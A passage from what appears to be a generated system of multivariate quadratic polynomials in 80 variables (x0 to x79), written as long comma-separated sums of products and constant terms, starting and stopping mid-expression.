x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x50 + x36*x51 + x36*x53 + x36*x55 + x36*x56 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x78 + x36*x79 + x37*x38 + x37*x44 + x37*x46 + x37*x51 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x68 + x37*x69 + x37*x70 + x37*x72 + x37*x73 + x37*x78 + x37 + x38*x43 + x38*x45 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x45 + x39*x46 + x39*x48 + x39*x49 + x39*x55 + x39*x60 + x39*x61 + x39*x62 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x40*x41 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x66 + x40*x68 + x40*x70 + x40*x77 + x40*x78 + x40*x79 + x41*x42 + x41*x45 + x41*x48 + x41*x50 + x41*x52 + x41*x57 + x41*x60 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x71 + x41*x72 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x64 + x42*x66 + x42*x68 + x42*x72 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x50 + x43*x51 + x43*x54 + x43*x56 + x43*x57 + x43*x59 + x43*x61 + x43*x66 + x43*x68 + x43*x70 + x43*x71 + x43*x75 + x43*x77 + x43*x78 + x44*x50 + x44*x51 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x67 + x44*x68 + x44*x70 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x45*x46 + x45*x48 + x45*x51 + x45*x53 + x45*x54 + x45*x55 + x45*x57 + x45*x59 + x45*x61 + x45*x65 + x45*x68 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x47 + x46*x48 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x59 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x79 + x47*x49 + x47*x50 + x47*x53 + x47*x56 + x47*x57 + x47*x59 + x47*x61 + x47*x62 + x47*x64 + x47*x67 + x47*x70 + x47*x71 + x47*x72 + x47*x77 + x47 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x64 + x48*x67 + x48*x69 + x48*x70 + x48*x71 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x49*x51 + x49*x52 + x49*x54 + x49*x59 + x49*x61 + x49*x62 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x73 + x49*x76 + x49*x77 + x49*x79 + x50*x53 + x50*x55 + x50*x57 + x50*x60 + x50*x63 + x50*x68 + x50*x69 + x50*x71 + x50*x73 + x50*x76 + x50*x79 + x51*x52 + x51*x57 + x51*x58 + x51*x61 + x51*x63 + x51*x67 + x51*x68 + x51*x69 + x51*x72 + x51*x73 + x51*x74 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x72 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x57 + x53*x59 + x53*x62 + x53*x63 + x53*x65 + x53*x71 + x53*x75 + x53*x76 + x53 + x54*x61 + x54*x62 + x54*x65 + x54*x71 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x55*x57 + x55*x58 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x78 + x55 + x56*x60 + x56*x64 + x56*x65 + x56*x66 + x56*x69 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x78 + x58*x79 + x58 + x59*x62 + x59*x63 + x59*x66 + x59*x67 + x59*x68 + x59*x72 + x59*x73 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x66 + x60*x67 + x60*x70 + x60*x77 + x60*x79 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x63*x72 + x63*x75 + x63*x77 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x74 + x64*x75 + x64*x76 + x64*x78 + x64*x79 + x64 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x65*x79 + x66*x69 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x69 + x67*x76 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x69*x70 + x69*x71 + x69*x75 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x72 + x71*x75 + x71*x77 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x74*x75 + x74*x77 + x74*x79 + x75*x76 + x75*x77 + x76*x78 + x77*x78 + x78 + 1, x0*x1 + x0*x3 + x0*x9 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x42 + x0*x43 + x0*x44 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x59 + x0*x60 + x0*x64 + x0*x66 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x1*x2 + x1*x4 + x1*x7 + x1*x9 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x22 + x1*x24 + x1*x27 + x1*x30 + x1*x31 + x1*x35 + x1*x39 + x1*x44 + x1*x48 + x1*x53 + x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x1 + x2*x4 + x2*x6 + x2*x8 + x2*x11 + x2*x13 + x2*x14 + x2*x15 + x2*x18 + x2*x21 + x2*x22 + x2*x27 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x68 + x2*x71 + x2*x72 + x2*x75 + x2*x76 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x15 + x3*x17 + x3*x20 + x3*x25 + x3*x26 + x3*x29 + x3*x33 + x3*x35 + x3*x37 + x3*x38 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x49 + x3*x51 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x64 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x41 + x4*x42 + x4*x43 + x4*x46 + x4*x56 + x4*x58 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x72 + x4*x73 + x4*x78 + x4*x79 + x4 + x5*x9 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x29 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x38 + x5*x39 + x5*x41 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x63 + x5*x64 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x75 + x5*x77 + x6*x8 + x6*x9 + x6*x10 + x6*x12 + x6*x14 + x6*x17 + x6*x18 + x6*x20 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x33 + x6*x34 + x6*x35 + x6*x38 + x6*x39 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x57 + x6*x60 + x6*x62 + x6*x66 + x6*x68 + x6*x69 + x6*x73 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x7*x10 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x19 + x7*x20 + x7*x21 + x7*x26 + x7*x27 + x7*x28 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x40 + x7*x41 + x7*x42 + x7*x44 + x7*x50 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x56 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x65 + x7*x68 + x7*x76 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x28 + x8*x31 + x8*x32 + x8*x35 + x8*x36 + x8*x38 + x8*x41 + x8*x42 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x56 + x8*x58 + x8*x59 + x8*x61 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x12 + x9*x14 + x9*x16 + x9*x18 + x9*x21 + x9*x22 + x9*x25 + x9*x32 + x9*x34 + x9*x37 + x9*x39 + x9*x40 + x9*x46 + x9*x50 + x9*x54 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x65 + x9*x66 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x19 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x29 + x10*x30 + x10*x32 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x38 + x10*x39 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x56 + x10*x57 + x10*x58 + x10*x61 + x10*x62 + x10*x64 + x10*x67 + x10*x68 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x11*x12 + x11*x15 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x32 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x51 + x11*x52 + x11*x54 + x11*x56 + x11*x57 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x70 + x11*x73 + x11*x74 + x11*x76 + x11*x77 + x11*x78 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x20 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x29 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x48 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x57 + x12*x58 + x12*x59 + x12*x62 + x12*x65 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x72 + x12*x73 + x12*x75 + x12*x77 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x20 + x13*x22 + x13*x23 + x13*x27 + x13*x28 + x13*x34 + x13*x35 + x13*x38 + x13*x39 + x13*x41 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x13 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x40 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x54 + x14*x60 + x14*x65 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14 + x15*x18 + x15*x19 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x42 + x15*x44 + x15*x46 + x15*x48 + x15*x53 + x15*x56 + x15*x62 + x15*x63 + x15*x64 + x15*x65 + x15*x71 + x15*x74 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x19 + x16*x23 + x16*x24 + x16*x25 + x16*x28 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x42 + x16*x44 + x16*x45 + x16*x48 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x59 + x16*x62 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x22 + x17*x24 + x17*x25 + x17*x28 + x17*x36 + x17*x37 + x17*x44 + x17*x46 + x17*x50 + x17*x52 + x17*x54 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x72 + x17*x73 + x17*x74 + x17 + x18*x20 + x18*x21 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x32 + x18*x35 + x18*x36 + x18*x39 + x18*x41 + x18*x45 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x54 + x18*x55 + x18*x60 + x18*x61 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x72 + x18*x75 + x18*x78 + x18 + x19*x20 + x19*x22 + x19*x26 + x19*x29 + x19*x30 + x19*x32 + x19*x34 + x19*x37 + x19*x39 + x19*x42 + x19*x43 + x19*x47 + x19*x54 + x19*x56 + x19*x58 + x19*x59 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x71 + x19*x73 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x25 + x20*x26 + x20*x27 + x20*x32 + x20*x35 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x44 + x20*x45 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x65 + x20*x67 + x20*x68 + x20*x71 + x20*x75 + x20*x77 + x20 + x21*x24 + x21*x27 + x21*x29 + x21*x31 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x41 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x65 + x21*x66 + x21*x68 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x29 + x22*x31 + x22*x32 + x22*x36 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x70 + x22*x71 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x28 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x37 + x23*x41 + x23*x43 + x23*x44 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x56 + x23*x57 + x23*x61 + x23*x65 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x79 + x24*x25 + x24*x27 + x24*x28 + x24*x29 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x43 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x51 + x24*x58 + x24*x61 + x24*x62 + x24*x66 + x24*x67 + x24*x68 + x24*x70 + x24*x72 + x24*x75 + x24*x79 + x24 + x25*x26 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x38 + x25*x45 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x55 + x25*x57 + x25*x58 + x25*x60 + x25*x61 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x74 + x25*x77 + x25*x78 + x25 + x26*x30 + x26*x32 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x42 + x26*x44 + x26*x45 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x55 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x32 + x27*x34 + x27*x37 + x27*x38 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x67 + x27*x68 + x27*x74 + x27*x75 + x27*x79 + x27 + x28*x32 + x28*x33 + x28*x34 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x55 + x28*x57 + x28*x62 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x77 + x28*x78 + x29*x30 + x29*x31 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x59 + x29*x60 + x29*x63 + x29*x65 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x79 + x29 + x30*x31 + x30*x33 + x30*x35 + x30*x36 + x30*x44 + x30*x47 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x60 + x30*x62 + x30*x65 + x30*x67 + x30*x68 + x30*x74 + x31*x32 + x31*x33 + x31*x35 + x31*x37 + x31*x42 + x31*x45 + x31*x49 + x31*x50 + x31*x55 + x31*x57 + x31*x60 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x76 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x42 + x32*x45 + x32*x48 + x32*x50 + x32*x55 + x32*x57 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x79 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x60 + x33*x61 + x33*x62 + x33*x65 + x33*x69 + x33*x72 + x33*x76 + x33*x79 + x33 + x34*x36 + x34*x38 + x34*x41 + x34*x43 + x34*x46 + x34*x47 + x34*x50 + x34*x55 + x34*x57 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x67 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x73 + x34*x78 + x34*x79 + x35*x36 + x35*x37 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x48 + x35*x49 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x69 + x35*x70 + x35*x72 + x35*x74 + x35*x76 + x35*x78 + x35 + x36*x38 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x70 + x36*x77 + x37*x41 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + x37*x62 + x37*x67 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x37*x77 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x51 + x38*x54 + x38*x56 + x38*x59 + x38*x63 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x39*x41 + x39*x42 + x39*x46 + x39*x49 + x39*x50 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x60 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x47 + x40*x49 + x40*x51 + x40*x52 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x66 + x40*x69 + x40*x70 + x40*x71 + x40*x74 + x40*x78 + x40 + x41*x44 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x58 + x41*x59 + x41*x61 + x41*x64 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x71 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x45 + x42*x46 + x42*x51 + x42*x53 + x42*x54 + x42*x58 + x42*x59 + x42*x61 + x42*x63 + x42*x65 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x43*x44 + x43*x46 + x43*x50 + x43*x52 + x43*x54 + x43*x55 + x43*x62 + x43*x64 + x43*x68 + x43*x69 + x43*x70 + x43*x76 + x43*x77 + x43 + x44*x47 + x44*x48 + x44*x49 + x44*x51 + x44*x54 + x44*x58 + x44*x60 + x44*x63 + x44*x65 + x44*x72 + x44*x73 + x44*x74 + x44*x76 + x44*x77 + x44*x78 + x45*x48 + x45*x49 + x45*x50 + x45*x56 + x45*x59 + x45*x63 + x45*x67 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x49 + x46*x50 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x62 + x46*x64 + x46*x66 + x46*x70 + x46*x72 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x49 + x47*x51 + x47*x55 + x47*x57 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x74 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x57 + x48*x61 + x48*x64 + x48*x65 + x48*x68 + x48*x69 + x48*x70 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x55 + x49*x57 + x49*x63 + x49*x64 + x49*x66 + x49*x68 + x49*x71 + x49*x73 + x49*x75 + x49*x76 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x58 + x51*x59 + x51*x64 + x51*x65 + x51*x69 + x51*x71 + x51*x73 + x51*x76 + x51*x79 + x51 + x52*x53 + x52*x55 + x52*x63 + x52*x68 + x52*x70 + x52*x71 + x52*x74 + x52*x75 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x63 + x53*x64 + x53*x65 + x53*x69 + x53*x74 + x53*x78 + x53 + x54*x56 + x54*x58 + x54*x60 + x54*x63 + x54*x65 + x54*x68 + x54*x69 + x54*x72 + x54*x75 + x54*x76 + x54*x77 + x54*x78 + x55*x56 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x64 + x55*x65 + x55*x66 + x55*x68 + x55*x69 + x55*x75 + x55*x76 + x55*x78 + x55 + x56*x58 + x56*x60 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x71 + x56*x73 + x56*x77 + x57*x60 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x65 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x77 + x59*x61 + x59*x62 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x71 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x75 + x61*x76 + x61*x79 + x62*x63 + x62*x65 + x62*x68 + x62*x71 + x62*x76 + x62*x79 + x63*x64 + x63*x65 + x63*x68 + x63*x73 + x63*x74 + x63*x75 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67 + x68*x70 + x68*x71 + x68*x74 + x68*x75 + x68 + x69*x71 + x69*x76 + x70*x71 + x70*x77 + x70 + x71*x72 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x75 + x73*x76 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x78 + x75*x79 + x76*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x1 + x0*x2 + x0*x6 + x0*x8 + x0*x10 + x0*x12 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x25 